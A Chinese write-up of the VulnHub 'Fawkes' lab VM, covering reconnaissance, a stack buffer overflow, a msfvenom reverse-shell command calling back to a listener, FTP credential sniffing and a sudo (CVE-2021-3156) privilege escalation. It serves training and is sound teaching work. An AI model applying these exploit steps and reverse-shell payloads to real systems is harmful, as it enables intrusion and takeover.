vulnhub靶场【哈利波特】三部曲之Fawkes

前言

这次的靶机与前面不同,这里涉及到缓冲区溢出等

这个靶机也让我知道薄弱点了,缓冲溢出这方面之前接触少,所以刚拿到这个靶机打开后,人蒙了,在网上查阅好多资料,也只是浅学一下,这里主要也是跟着其他师傅的步骤进行操作,在实践中去理解。

参考链接:https://www.cnblogs.com/Fab1an/p/18364950

靶机虚拟机环境为virtualbox,网卡为桥接模式

靶机:fawkes

攻击:kali

主机发现

使用arp-scan -l扫描,在同一网卡下

信息收集

端口发现

使用nmap简单扫描一下端口

可以看到两个SSH服务端口,只是使用的版本不同,还有一个9898端口,不知道是什么服务

网站目录扫描

一般网站可能都是目录型,这里直接进行扫描

很是罕见的什么都没有扫到,访问网站进行查看

啧,电影海报啊,这里下载图片,看有无隐藏信息

测试9898端口

虽是接口有返回信息等,但是毫无用处

测试21端口

测试使用anonymous匿名用户尝试登录,空密码登录成功,发现有文件,下载到kali

查看文件类型,是可执行文件

信息点小结

  1. 80端口只有一张图片,并且无其他内容
  2. SSH服务有两个端口,但是没有任何的用户名和密码
  3. FTP匿名登录成功,获取到可执行文件

测试可执行文件

根据上面的信息小结,可以知道,现在可用的也许只有SSH爆破和这个下载的可执行文件

给予执行权限

可以知道靶机上的9898端口的作用,应该就是启动了这个服务,为详细准确,再使用nc测试一遍

对该执行文件进行调试

关闭kali的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

shell 复制代码
cd /proc/sys/kernel
echo randomize_va_space

使用工具进行调试

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择attch

当然这里的attch是通过进程进行的测试,所以需要输入关键字server来过滤,只要那个服务的开启。直接导入文件的话,是不需要的

初步调试,确定是否可行,在用户输入的话,也必须开始调试才能进行下一步。那么交互的话,用户可输入,就使劲输入,看程序是否崩溃或者怎么样。

平常在数据库中,不就是有的是有长度限制吗。

尝试输入很多数值字符来判断,这里最终测试400个A时,出现错误,地址0x41414141不存在

缓冲区溢出

可以看到,这里被覆盖了

EIP寄存器,是执行下一跳指令的内存地址,就是可以指定跳转到那里

ESP寄存器,是存储数据的,具体指令

那么使用msf生成400无规律排列的字符,方便寻找到在那里溢出

shell 复制代码
msf-pattern_create -l 400

记住这个地址,然后使用msf去寻找刚刚生成的那个序列排在哪里

shell 复制代码
msf-pattern_offset -l 400 -q 0x64413764

可以确定偏移量为112,可以生成112个A,4个B,和多个C

因为之前报错也是可以看到的,为四个字符16进制组成

可以看到,这里的报错是B的十六进制

从下面也可以清晰的看出EIP的指定内存地址,以及ESP的指令

下面就需要构造使得EIP指向ESP的内存地址,而ESP的指令该怎么能够获得反弹shell

首先要知道ESP的内存地址,这样就可以自己加上这个内存地址,防止溢出

选择可执行的内存地址,因为这是跳转到指令,而且如果不能执行,修改了也无作用

点击find,记下jmp esp的内存地址,0x08049d55

jmp esp是一条汇编指令。jmp是 "jump" 的缩写,意思是跳转。esp是栈指针寄存器(Extended Stack Pointer)。这条指令的作用是使程序的执行流程跳转到esp寄存器所指向的内存地址。

制造反弹shell

已知偏移量为112ESP内存地址为0x08049d55,那么只需要编造16进制的payload进行反弹shell,这里的靶机为小端序,内存地址需要颠倒\x55\x9d\x04\x08

shell 复制代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.16 LPORT=8888 -b "\x00" -f python

把上面生成的写入到python文件中,但是这里只是生成ESP所要执行的指令,还需要和前面的溢出配合,不然无法正确的使EIP跳转正确

payload中加了之前并没有的'\x90'*32是为了防止恶意代码离的太近

然后这时候,运行可执行文件,然后另起终端开启监听8888端口,与上面的反弹shell端口一致

然后执行python脚本

在本机上运行的服务进行而此时,成功

那么修改payload为靶机地址和端口,然后测试

反弹成功,获取一个shell

提权

测试,靶机没有python,无法使用python创建交互式的终端,测试使用/bash/bash -i也不行,

最终是/bash/sh -i成功,在当前目录下,发现可能是密码的文本HarrYp0tter@Hogwarts123

尝试使用ssh测试,默认端口的SSH服务连接不上,测试2222端口的

使用find查找具有SUID权限的,有sudo并且可以执行任意

查看后,发现root没有密码,直接sudo su -切换到root,然后呢,查看root目录下的文件

这里说,"我们发现有人试图经过FTP的错误去登录,你应该去分析流量然后指出用户"

这里测试靶机有无监听流量的工具,如wireshark、tcpdump

查看网卡信息

使用tcpdump监听

获取到用户名neville,密码bL!Bsg3k

shell 复制代码
tcpdump -i eth0 port 21

使用这个用户名和密码登录,注意,这里登录的是22端口的SSH服务

寻找SUID,发现找到sudo,但是不能使用

收集信息

使用searchsploit搜索,发现提权中的方法与可以使用的,不匹配

漏洞提权

在百度搜索,确实有,项目地址https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

漏洞介绍https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

测试,靶机有nc命令,也有wget命令

py文件传输到靶机,使用wget也行

最终提权成功

清除痕迹

总结

整个靶机的重点在于缓冲区溢出

  1. 要知道什么是缓冲区溢出,然后就是会找到溢出位置
  2. 理解两个寄存器EIPESP
  3. 要会编写一个简单的python来直接进行发送信息
  4. sudo -l不可用,以及其他不能提权时,想到内核漏洞以及命令版本漏洞

使用工具

edb-debugger进行文件调测,找到缓冲溢出的位置

msf-pattern_create -l 400生成400个无规律排列字符

msf-apttern_offset -l 400 -q 0x64413764找到刚刚生成字符的位置,这里是十六进制进行查找

which定位命令路径

lsb_release -a查看系统

sudo --version查看命令版本

相关推荐
是十一月末14 分钟前
Python语法之正则表达式详解以及re模块中的常用函数
开发语言·python·正则表达式
Hacker_LaoYi37 分钟前
TCP/IP协议图--TCP/IP基础
网络·网络协议·tcp/ip
运维自动化&云计算39 分钟前
华为交换机与锐捷交换机端口链路聚合的配置
服务器·网络·华为
羊村懒哥40 分钟前
linux-安全-iptables防火墙基础笔记
linux·网络·安全
灵封~1 小时前
PythonQt练习
python
星原飞火1 小时前
2-2-18-13 QNX系统架构之原生网络(Qnet)
网络·车载系统·系统架构·qnx·blackberry·qnet
CodeGrindstone1 小时前
Muduo网络库剖析 --- 架构设计
网络·c++·网络协议·tcp/ip
linnux领域1 小时前
使用ensp搭建内外互通,使用路由跨不同vlan通信。
网络
码农老张Zy1 小时前
【PHP小课堂】学习PHP中的变量处理相关操作
android·开发语言·学习·php
IT古董1 小时前
【机器学习】机器学习的基本分类-监督学习-决策树-C4.5 算法
人工智能·学习·算法·决策树·机器学习·分类